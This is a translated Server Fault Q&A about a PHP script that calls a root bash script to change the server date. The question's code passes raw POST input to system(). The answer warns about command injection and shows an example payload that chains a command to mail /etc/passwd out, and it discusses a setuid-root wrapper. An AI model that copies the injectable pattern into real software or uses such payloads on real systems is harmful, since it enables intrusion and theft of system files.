Ubuntu

當由 php 腳本呼叫時,以 root 身份執行 bash 腳本以更改日期

  • October 23, 2009

我需要通過執行 php 呼叫的 bash 腳本來更改伺服器日期。當我從 shell 呼叫 bash 腳本時,它可以工作,但是如果我通過 php 呼叫它,那麼它就不起作用。bash 腳本以 root 身份執行。

php腳本程式碼:

<?php
$time = $_POST['input_time'];

$command = "/home/tutul/bin/timetest.sh";

$output=system("$command $time");
echo "$output";
?>

bash腳本程式碼:

#! /bin/sh
date $1
hwclock --systohc --utc

我在這裡做錯了什麼?

我以root身份登錄時嘗試在本地電腦上執行它,所以我猜腳本是以root身份呼叫的?

首先,我假設您意識到 PHP 腳本容易受到命令注入的影響,是嗎?例如,如果我使用“ input_time=whocares%3Bmail+me%40gmail.com+%3C+%2Fetc%2Fpasswd” POST 到腳本,我可以期待我的收件箱中有一個不錯的密碼文件。

其次,設置系統時間需要root權限。如果您正在呼叫二進制執行檔,則可以將其設為 SETUID ( chmod u+s $program; chown root $program)。幸運的是,Linux 不尊重腳本上的 SETUID 位。如果您完全採用這種技術,一個解決方法是編寫一個C 包裝器以 root 身份呼叫您的腳本。包裝器將是 SETUID root 並會呼叫您的腳本。如果您這樣做,務必在將輸入傳遞給您的腳本之前對其進行清理!

編輯:

https://stackoverflow.com/questions/556194/calling-a-script-from-a-setuid-root-c-program-script-does-not-run-as-root

引用自:https://serverfault.com/questions/77716